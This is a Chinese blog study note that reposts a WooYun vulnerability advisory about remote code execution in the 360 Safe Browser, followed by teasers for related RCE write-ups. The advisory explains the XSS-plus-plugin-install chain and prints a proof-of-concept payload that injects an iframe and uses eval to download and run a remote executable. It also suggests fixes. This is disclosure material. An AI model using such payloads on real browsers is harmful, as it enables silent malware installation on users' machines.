学习日志13：360安全浏览器远程代码执行漏洞

本文摘自乌云
出处：http://www.anquan.us/static/bugs/wooyun-2010-020.html
作者：结界师
缺陷编号：WooYun-2010-00020

1.漏洞基本情况：关键页面的XSS+任意插件安装+插件安装时不检验来源–>任意代码执行

2.详细说明：
360浏览器为了扩展自己的功能，在内部实现了一系列的扩展接口，并且通过web可以调用这些接口，但是在跨越安全边界时唯一的检查就是调用的来源，必须为域名a.b.c.d(假设)才可以调用这些接口。而此域名中存在XSS漏洞。从而可以使用js直接调用这些接口。某些接口如插件支持上可以下载远程的可执行程序直接执行，同时执行的时候并没有对来源应用程序做签名等认证，导致可以直接下载恶意程序执行。

3.漏洞证明：
http://a.b.c.d/v3/guide/guide_start.htm?ver=a.b.c.d&firstcheck=1&1="><iframe name=“fuck” src=“http://a.b.c.d/v3/plugins.htm” οnlοad=alert(fuck.window.eval(“Install(‘ExtWebMail’,‘a.b.c.d3’,‘360邮件通’,‘http://a.b.c.d/ExtWebmail.zip’,‘a.b.c.d’)”))>< /iframe>

其中ExtWebmail.zip里自定义的ExtWebmail.exe将会被执行

4.修复方案：
(1)修复xss（无法解决域名a.b.c.d下的其他安全问题）
(2)验证程序的来源（无法解决其他接口的问题）

学习日志13：360安全浏览器远程代码执行漏洞相关推荐

CVE-2018-8174 IE浏览器远程代码执行漏洞
0x00漏洞简介在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告文中提到了cve-2018-8174这个漏洞的首次在apt方面的应用原文地址:http://www.4hou.c ...
【漏洞复现】IE 浏览器远程代码执行漏洞
Windows VBScript Engine 代码执行漏洞(CVE-2018-8174) 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告文中提到了cve-2018-8174这个 ...
【漏洞复现】IE 浏览器远程代码执行漏洞（CVE-2018-8174）
一.CVE-2018-8174(本质是 Windows VBScript Engine 代码执行漏洞) 由于 VBScript 脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶 ...
Json学习总结（6）——Fastjson远程代码执行漏洞
一.修复方法最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本. 1.2.2 ...
log4j2远程代码执行漏洞学习总结
log4j2远程代码执行漏洞学习总结背景近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI ...
代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...
文档信息编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日更新日期 2019年09月 ...
IE浏览器远程代码执行高危漏洞(CVE-2019-1367)
IE浏览器远程代码执行高危漏洞(CVE-2019-1367)加固遇到的问题一.背景介绍 Internet Explorer,是微软公司推出的一款网页浏览器.用户量极大.9月23日微软紧急发布安全更新 ...
struts2远程代码执行漏洞合集
声明好好学习,天天向上 S2-001 漏洞描述因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...

学习日志13：360安全浏览器远程代码执行漏洞

学习日志13：360安全浏览器远程代码执行漏洞相关推荐

最新文章

热门文章